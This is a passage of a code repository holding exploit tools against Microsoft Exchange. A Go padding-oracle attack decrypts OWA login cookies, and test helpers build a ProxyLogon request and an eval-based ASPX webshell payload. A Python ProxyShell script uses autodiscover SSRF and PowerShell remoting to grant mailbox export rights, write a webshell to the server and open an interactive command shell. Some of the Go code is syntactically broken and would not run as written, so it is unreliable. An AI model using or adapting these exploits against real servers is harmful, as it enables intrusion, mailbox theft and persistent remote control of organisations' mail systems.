cipher_bytes := decc 80 | 81 | return cipher_bytes 82 | } 83 | 84 | var ( 85 | // ErrInvalidBlockSize indicates hash blocksize <= 0. 86 | ErrInvalidBlockSize = errors.New("invalid blocksize") 87 | 88 | // ErrInvalidPKCS7Data indicates bad input to PKCS7 pad or unpad. 89 | ErrInvalidPKCS7Data = errors.New("invalid PKCS7 data (empty or not padded)") 90 | 91 | // ErrInvalidPKCS7Padding indicates PKCS7 unpad fails to bad input. 92 | ErrInvalidPKCS7Padding = errors.New("invalid padding on input") 93 | ) 94 | 95 | func xor(a, b []byte) []byte { 96 | output := make([]byte, len(a)) 97 | for i := 0; i < len(a); i++ { 98 | output[i] = a[i] ^ b[i] 99 | } 100 | return output 101 | } 102 | 103 | func pkcs7Unpad(b []byte, blocksize int) ([]byte, error) { 104 | if blocksize <= 0 { 105 | return nil, ErrInvalidBlockSize 106 | } 107 | if b == nil || len(b) == 0 { 108 | return nil, ErrInvalidPKCS7Data 109 | } 110 | if len(b)%blocksize != 0 { 111 | return nil, ErrInvalidPKCS7Padding 112 | } 113 | c := b[len(b)-1] 114 | n := int(c) 115 | if n == 0 || n > len(b) { 116 | return nil, ErrInvalidPKCS7Padding 117 | } 118 | for i := 0; i < n; i++ { 119 | if b[len(b)-n+i] != c { 120 | return nil, ErrInvalidPKCS7Padding 121 | } 122 | } 123 | return b[:len(b)-n], nil 124 | } 125 | 126 | 127 | func reverse(s string) string { 128 | runes := []rune(s) 129 | for from, to := 0, len(runes)-1; from < to; from, to = from+1, to-1 { 130 | runes[from], runes[to] = runes[to], runes[from] 131 | } 132 | return string(runes) 133 | } 134 | 135 | func bust(block []byte, block_size int, target, cookiedata string) { 136 | intermediate_bytes := make([]byte, block_size) 137 | test_bytes := make([]byte, block_size) 138 | test_bytes += block 139 | 140 | retries := 0 141 | last_ok := 0 142 | 143 | switch { 144 | case retries < max_retries: 145 | for byte_num := array.reverse(range block_size) { 146 | history := [] 147 | r := 200 148 | if byte_num == block_size - 1 && last_ok > 0{ 149 | r = last_ok 150 | } 151 | for i := array.Reverse(range r) { 152 | test_bytes[byte_num] = i 153 | attempts += 1 154 | checkoraclereason(test_bytes[:], target, cookiedata) 155 | 156 | if byte_num == (block_size - 1) { 157 | last_ok = i 158 | } 159 | 160 | current_pad_byte := block_size - byte_num 161 | next_pad_byte := block_size - byte_num + 1 162 | decrypted_byte := test_bytes[byte_num] ^ current_pad_byte 163 | intermediate_bytes[byte_num] = decrypted_byte 164 | 165 | for k := range(byte_num block_size){ 166 | test_bytes[k] ^= current_pad_byte 167 | test_bytes[k] ^= next_pad_byte 168 | } 169 | } else { 170 | retries += 1 171 | break 172 | } 173 | } else { 174 | break 175 | } 176 | } else { 177 | fmt.printf("%v in %v try %v", byte_num, block, max_retries) 178 | } 179 | } 180 | 181 | func decrypt(ciphertext []byte, block_size int, target, cookiedata string) []byte { 182 | block_size = 16 183 | 184 | if len(ciphertext)%block_size == 0 { 185 | fmt.Fprintln("The ciphertext Length Error!") 186 | } 187 | iv, ctext := ciphertext[:block_size], ciphertext[block_size:] 188 | decrypted := make([]byte, len(ctext)) 189 | 190 | n := 0 191 | for { 192 | block := ctext[:block_size] 193 | ctext = ctext[block_size:] 194 | intermediate_bytes := bust(block, block_size, target, cookiedata) 195 | fmt.Printf("Get Block %v\n", ((n / block_size) + 1)) 196 | fmt.Printf("Intermediate Value: %v\n", intermediate_bytes) 197 | decrypted[n : n+block_size] = xor(intermediate_bytes, iv) 198 | iv = block 199 | n += block_size 200 | } 201 | return decrypted 202 | } 203 | 204 | func checkoraclereason(cipher_bytes []byte, target, cookiedata string) int { 205 | cadata := base64.StdEncoding.EncodeToString(cipher_bytes) 206 | decc, _ := base64.StdEncoding.DecodeString(cadata) 207 | cacookies := string(decc) 208 | 209 | target1 := target + "/owa/" 210 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, CheckRedirect: myCheckRedirect} 211 | if !strings.Contains(target1, "http") { 212 | target = "http://" + target1 213 | } 214 | 215 | request, err := http.NewRequest(http.MethodGet, target1, strings.NewReader("")) 216 | if err != nil { 217 | fmt.Println(err) 218 | } 219 | 220 | cookiesstr := getcadata(cacookies) + "; " + getcadataTTL(cookiedata) + "; " + getcadataKey(cookiedata) + "; " + getcadataIV(cookiedata) + "; " + getcadataSig(cookiedata) 221 | 222 | request.Header.Add("Cookie", cookiesstr) 223 | request.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36") 224 | request.Header.Add("Connection", "close") 225 | 226 | do, _ := cli.Do(request) 227 | if do.StatusCode != 302 { 228 | fmt.Printf("[-] %v status error!", do.StatusCode) 229 | } 230 | url := splitlocation(do.Header["Location"][0]) 231 | if url == "reason=0" { 232 | //fmt.Println("[*] Padding Error!") 233 | return 0 234 | } else if url == "reason=2" { 235 | //fmt.Println("[*] Got it!") 236 | return 1 237 | } else { 238 | //fmt.Println("[-] Reason Error!") 239 | return 2 240 | } 241 | return 3 242 | } 243 | 244 | func exploit(target, cookiedata string) { 245 | fmt.Println("----------------------------------------------------") 246 | fmt.Println("[+] cadata: " + getcadata(cookiedata)) 247 | fmt.Println("----------------------------------------------------") 248 | fmt.Println("[+] cadataTTL: " + getcadataTTL(cookiedata)) 249 | fmt.Println("----------------------------------------------------") 250 | fmt.Println("[+] cadataKey: " + getcadataKey(cookiedata)) 251 | fmt.Println("----------------------------------------------------") 252 | fmt.Println("[+] cadataIV: " + getcadataIV(cookiedata)) 253 | fmt.Println("----------------------------------------------------") 254 | fmt.Println("[+] cadataSig: " + getcadataSig(cookiedata)) 255 | fmt.Println("----------------------------------------------------") 256 | cipher_bytes := getcipherbytes(getcadata(cookiedata)) 257 | fmt.Println("[+] cadata cipher bytes value: ") 258 | fmt.Println(string(cipher_bytes)) 259 | fmt.Println(checkoraclereason(cipher_bytes, target, cookiedata)) 260 | plain_bytes := decrypt(cipher_bytes) 261 | plain_bytes = pkcs7Unpad(plain_bytes, 16) 262 | } 263 | 264 | func main() { 265 | Banner() 266 | var target, cookiedata string 267 | flag.StringVar(&target, "u", "", "") 268 | flag.StringVar(&cookiedata, "d", "", "") 269 | flag.CommandLine.Usage = func() { 270 | fmt.Println("usage:\nexec: ./main -u -d ") 271 | } 272 | flag.Parse() 273 | if len(target) == 0 { 274 | fmt.Println("[+] please enter the url you want to check!!!") 275 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11") 276 | } else { 277 | exploit(target, cookiedata) 278 | } 279 | } 280 | -------------------------------------------------------------------------------- /testfunc/test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "strconv" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | func splitsid(sid string) string { 12 | sid1 := strings.Split(sid, "-") 13 | sid2 := sid1[len(sid1)-1] 14 | 15 | fmt.Println(sid2) 16 | return sid2 17 | } 18 | 19 | func modifysid(sid string) string { 20 | sid1 := strings.Split(sid, "-") 21 | sid2 := sid1[len(sid1)-1] 22 | sid3 := strings.Split(sid, sid2) 23 | sid4 := sid3[0] + "500" 24 | 25 | fmt.Println(sid4) 26 | return sid4 27 | } 28 | 29 | func splitmsexch(msexch string) string { 30 | msexch1 := strings.Split(msexch, "msExchEcpCanary=") 31 | msexch2 := msexch1[len(msexch1)-1] 32 | msexch3 := strings.Split(msexch2, ";") 33 | msexch4 := msexch3[0] 34 | 35 | return msexch4 36 | } 37 | 38 | func splitsess(sess string) string { 39 | sess1 := strings.Split(sess, "ASP.NET_SessionId=") 40 | sess2 := sess1[len(sess1)-1] 41 | sess3 := strings.Split(sess2, ";") 42 | sess4 := sess3[0] 43 | 44 | return sess4 45 | } 46 | 47 | func splitBackEnd(sess string) string { 48 | sess1 := strings.Split(sess, "X-BackEndCookie=") 49 | sess2 := sess1[len(sess1)-1] 50 | sess3 := strings.Split(sess2, ";") 51 | sess4 := sess3[0] 52 | 53 | return sess4 54 | } 55 | func splitMasterAccountSid(sess string) string { 56 | sess1 := strings.Split(sess, "with SID ") 57 | sess2 := sess1[len(sess1)-1] 58 | sess3 := strings.Split(sess2, " and MasterAccountSid") 59 | sess4 := sess3[0] 60 | 61 | return sess4 62 | } 63 | 64 | func main() { 65 | sid := "casd-casd-c-asdc-asdc-1001" 66 | if splitsid(sid) != "500" { 67 | sid = modifysid(sid) 68 | } 69 | fmt.Println("Fixed User SID: " + sid) 70 | shell_name := "lUc1f3r11.aspx" 71 | shell_path := "inetpub\\wwwroot\\aspnet_client\\" + shell_name 72 | fmt.Println(shell_path) 73 | shell_absolute_path := "\\\\127.0.0.1\\c$\\" + shell_path 74 | fmt.Println(shell_absolute_path) 75 | shell_content := "%3Cscript%20language%3D%22JScript%22%20runat%3D%22server%22%3E%20function%20Page_Load%28%29%7B%2F%2A%2A%2Feval%28Request%5B%22evilc0rp%22%5D%2C%22unsafe%22%29%3B%7D%3C%2Fscript%3E" 76 | fmt.Println(shell_content) 77 | random_name := strconv.FormatInt(int64(rand.New(rand.NewSource(time.Now().UnixNano())).Int31n(1000)), 10) + ".js" 78 | fmt.Println(random_name) 79 | proxyLogon_request := `` + sid + `S-1-1-0S-1-5-2S-1-5-11S-1-5-15S-1-5-5-0-6948923` 80 | fmt.Println(proxyLogon_request) 81 | sess := "ASP.NET_SessionId=casdcasdc-cas-dc-asd-ca-sdc-as-dcasdccdscasd; path=/; httponly" 82 | fmt.Println(splitsess(sess)) 83 | msexch := "msExchEcpCanary=casdcasdjcasdkcnajkn23i4bri234hf834f858f.; path=/ecp" 84 | fmt.Println(splitmsexch(msexch)) 85 | BackEnd := "X-BackEndCookie=s-1-5-1b=casdcjajnkdcjasjdcsadncjasdvfv//923429458; path=/;" 86 | fmt.Println(splitBackEnd(BackEnd)) 87 | sid1 := "with SID S-1-5-21-123452345-23452345-23452345-1001 and MasterAccountSid" 88 | fmt.Println(splitMasterAccountSid(sid1)) 89 | } 90 | -------------------------------------------------------------------------------- /testfunc/test1.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/base64" 5 | "fmt" 6 | "strings" 7 | ) 8 | 9 | func getcadata(cookiestr string) string { 10 | cookie1 := strings.Split(cookiestr, "; ") 11 | return cookie1[0] 12 | } 13 | 14 | func getcadataTTL(cookiestr string) string { 15 | cookie2 := strings.Split(cookiestr, "; ") 16 | return cookie2[1] 17 | } 18 | 19 | func getcadataKey(cookiestr string) string { 20 | cookie3 := strings.Split(cookiestr, "; ") 21 | return cookie3[2] 22 | } 23 | 24 | func getcadataIV(cookiestr string) string { 25 | cookie4 := strings.Split(cookiestr, "; ") 26 | return cookie4[3] 27 | } 28 | 29 | func getcadataSig(cookiestr string) string { 30 | cookie5 := strings.Split(cookiestr, "; ") 31 | return cookie5[4] 32 | } 33 | 34 | func splitcadata(cadata string) string { 35 | strs := strings.Split(cadata, "cadata=") 36 | return strs[1] 37 | } 38 | 39 | func splitlocation(location string) string { 40 | strs := strings.Split(location, "%2f&") 41 | return strs[1] 42 | } 43 | 44 | func getcipherbytes(cookiedata string) []byte { 45 | b := []byte(splitcadata(getcadata(cookiedata))) 46 | encc := base64.StdEncoding.EncodeToString(b) 47 | decc, _ := base64.StdEncoding.DecodeString(encc) 48 | cipher_bytes := decc 49 | 50 | return cipher_bytes 51 | } 52 | 53 | func main() { 54 | testcookie := "cadata=p4TwZveLKK8xc2T4N/bQl5J/70EScESQYkeh4EZu2LAjYVee+7+4Ht/z+NKO8WWv03PY+P7/fkKRYIqheinHeUZ7HgL/gKq266Kk+Hde9NjmIyhDVAFiFYVRJtIyPRGiX4AnZupvyVC4tRdOiIr/hg==; cadataTTL=v37wzmi7MEfC9N0dOMDg2g==; cadataKey=JV9Q+2xfT4qQkRII4+9zWWbJ71RAL8sEMxUsOTM6t3GlZXdgYsP7mWa/ANGivKKxvNpleo5rGPIxK8wHx2AwRiRhDz9uGSI4oxu0Xfd5keBRUd6FY73izrofCHb/gVEel4gaHgxTWdxD6vxuEiJ8L/GVCSIzngRYG/0LOm22v/4auh2OmTLU54SZ68t2gWRtf+BZEQyQABDlvYFWZqCaHDV6IyDMflDUdgOmB77dxIo1/b1sERmZ8OzWw57zNfu5QA0wXqsE81OocmYHHTbe4haurwvLhi+jJV7wBP+IX3Px8ZJDQAvLG+OboIJ3mmrCPmJ9R1mp+mKEKkytedsQLA==; cadataIV=OjTNnqor6zXhEjzocv4XiaPaMNIwuX0sgfFsQ1/6N5IpU0I0tVbe+L95meI+CA1sVLudhfyLluBam3oN/xNgGQGnbmmJJJcxfKtx5oSgeujmFWDKAQQSQ7CGJZ8wGUKI5gmk0MQ/06I4/gZqGWDA5NeYzv7F/8Ul9zQiP5SaoION/oxuf3hWOlaIq0wWVqgbgVUYTAUPYpngb7muJrXvNZE3QOt4kbUnY0g4e3EG9sCMp+ctMrUjY+lmJGOIsZ2JENa846sfCeZHcOEp+LzhqN7XcU+8JZ2ung6trD8rmimvk/T0Ibh1ITlpm8wxiyRAKqbG0a77vquwZvE+H8kNYw==; cadataSig=aR3Slm53ss329FIbOEPcD8zr+tbWheelQzmxkRI/w3K864aoBIyqut+JoJYhyW0Gmtir1fWc4Mjua1dFhaB63OzvVZosEZDODOmfpq3KCE2n0X0mhcbLnR5CGHVY4EL/5Ro/VGqp0cocaYtMT8alcZXYlu2lM7KQBekO2VINuPqVB71iy3uZMjkk68q/KPlMOBPO7s5ezoqAMPrBvFMF9Pxhp7LrUs4BnxmH3fz+mmNMOu4vg7WRhUD+f5AOifFYHTGooUtaoYhySv+y6V9wQzL5ejuRARN4VAcnrBsEgoFOPNUKDQ8RuyCUO+Hj0R5+ZBGQlbGo9nX8N2XhkTi2tQ==" 55 | fmt.Println(getcadata(testcookie)) 56 | fmt.Println("--------------------------") 57 | fmt.Println(getcadataTTL(testcookie)) 58 | fmt.Println("--------------------------") 59 | fmt.Println(getcadataKey(testcookie)) 60 | fmt.Println("--------------------------") 61 | fmt.Println(getcadataIV(testcookie)) 62 | fmt.Println("--------------------------") 63 | fmt.Println(getcadataSig(testcookie)) 64 | fmt.Println("--------------------------") 65 | fmt.Println("[+] cadata bytes value:\n") 66 | fmt.Println(getcipherbytes(getcadata(testcookie))) 67 | fmt.Println("----------------------------------------------------") 68 | locations := "https://106.55.103.31/owa/auth/logon.aspx?url=https%3a%2f%2f106.55.103.31%2fowa%2f&reason=0" 69 | fmt.Println(splitlocation(locations)) 70 | } 71 | -------------------------------------------------------------------------------- /wsman_getshell.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import requests 4 | import re 5 | import threading 6 | import sys 7 | import time 8 | from pypsrp.wsman import WSMan 9 | from pypsrp.powershell import PowerShell, RunspacePool 10 | from http.server import HTTPServer, BaseHTTPRequestHandler 11 | from socketserver import ThreadingMixIn 12 | from functools import partial 13 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 14 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 15 | from struct import * 16 | 17 | class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): 18 | print("[+] Start wsman Server") 19 | 20 | def rand_string(n=3): 21 | return 'ed'.join(random.choices(string.ascii_lowercase, k=n)) 22 | 23 | def rand_port(n=4): 24 | return ''.join(random.choices(string.digits, k=n)) 25 | 26 | p=int(rand_port())#start wsman random server port 27 | 28 | class proxyshell: 29 | def __init__(self, exchange_url, email, verify=False): 30 | self.token 31 | self.email = email 32 | self.exchange_url = exchange_url if exchange_url.startswith('https://') else f'https://{exchange_url}' 33 | self.rand_email = f'{rand_string()}@{rand_string()}.{rand_string(3)}' 34 | self.admin_sid = None 35 | self.legacydn = None 36 | self.rand_subj = rand_string(16) 37 | self.session = requests.Session() 38 | self.session.verify = verify 39 | 40 | def post(self,endpoint, data, headers={}): 41 | print("sending wsman") 42 | if 'powershell' in endpoint: 43 | path = f"/autodiscover/autodiscover.json?@evil.corp{endpoint}&Email=autodiscover/autodiscover.json%3F@evil.corp" 44 | else: 45 | path = f"/autodiscover/autodiscover.json?@evil.corp{endpoint}?&Email=autodiscover/autodiscover.json%3F@evil.corp" 46 | url = f'{self.exchange_url}{path}' 47 | r=requests.Session() 48 | r = r.post( 49 | url=url, 50 | data=data, 51 | headers=headers, 52 | verify=False 53 | ) 54 | return r 55 | 56 | class PwnServer(BaseHTTPRequestHandler): 57 | def __init__(self, proxyshell, *args, **kwargs): 58 | self.proxyshell = proxyshell 59 | super().__init__(*args, **kwargs) 60 | 61 | def do_POST(self): 62 | # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ 63 | powershell_url = f'/powershell/?X-Rps-CAT={self.proxyshell.token}' 64 | length = int(self.headers['content-length']) 65 | content_type = self.headers['content-type'] 66 | post_data = self.rfile.read(length).decode() 67 | post_data = re.sub('(.*?)', 'http://127.0.0.1:80/powershell', post_data) 68 | post_data = re.sub('(.*?)', 'http://schemas.microsoft.com/powershell/Microsoft.Exchange', post_data) 69 | 70 | headers = { 71 | 'Content-Type': content_type 72 | } 73 | 74 | r = self.proxyshell.post( 75 | proxyshell, 76 | powershell_url, 77 | post_data, 78 | headers 79 | ) 80 | resp = r.content 81 | self.send_response(200) 82 | self.end_headers() 83 | self.wfile.write(resp) 84 | 85 | def start_server(proxyshell, port): 86 | 87 | handler = partial(PwnServer, proxyshell) 88 | server = ThreadedHTTPServer(('', port), handler) 89 | server_thread = threading.Thread(target=server.serve_forever) 90 | server_thread.daemon = True 91 | server_thread.start() 92 | 93 | def shell(command, port): 94 | # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ 95 | if command.lower() in ['exit', 'quit']: 96 | exit() 97 | wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never') 98 | with RunspacePool(wsman) as pool: 99 | ps = PowerShell(pool) 100 | ps.add_script(command) 101 | output = ps.invoke() 102 | 103 | print("OUTPUT:\n%s" % "\n".join([str(s) for s in output])) 104 | print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error])) 105 | 106 | 107 | def write_shell(url,user): 108 | webshell_name=rand_string()+".aspx" 109 | user1 = user.split('@')[0] 110 | shell_path=f'\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\{webshell_name}' 111 | shell(f'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "{user1}"', p)## Add "Mailbox Import Export 112 | time.sleep(3) 113 | shell('Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$false', p) ## Remove-MailboxExportRequest clean Request 114 | time.sleep(3) 115 | shell(f'New-MailboxExportRequest -Mailbox {user} -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'you are fucked\')" -ExcludeDumpster -FilePath "{shell_path}"', p) 116 | url=url+"/aspnet_client/"+webshell_name+"?cmd=Response.Write('eeeeeeeeeeeeeeeeeeeelUc1f3r11')" 117 | print("[+] Test shell.....") 118 | time.sleep(3) 119 | r=requests.get(url,verify=False,timeout=7) 120 | if('eeeeeeeeeeeeeeeeeeeelUc1f3r11' in r.text): 121 | print("[+] "+url+",shell is ok") 122 | elif('system.web' in r.text): 123 | print("[+] "+url+",shell write ok,But not Runing, Are you send webshell_mail?") 124 | else: 125 | print("[+] "+url+",shell write bad, maybe some antidefender on target!") 126 | 127 | def start_cmdlet(url,token): 128 | pshell=proxyshell 129 | pshell.token=token 130 | pshell.exchange_url=url 131 | start_server(pshell, p) 132 | 133 | 134 | if __name__ == '__main__': 135 | if len(sys.argv) > 2: 136 | url=sys.argv[1] 137 | user=sys.argv[2] 138 | token=sys.argv[3] 139 | start_cmdlet(url,token) 140 | try: 141 | if sys.argv[4] == "shell": 142 | write_shell(url,user) 143 | except: 144 | pass 145 | else: 146 | print("python https://xxx.com admin@example.com shell") 147 | exit() 148 | try: 149 | while True: 150 | command=input("Cmdlet:") 151 | shell(command,p) 152 | except: 153 | pass --------------------------------------------------------------------------------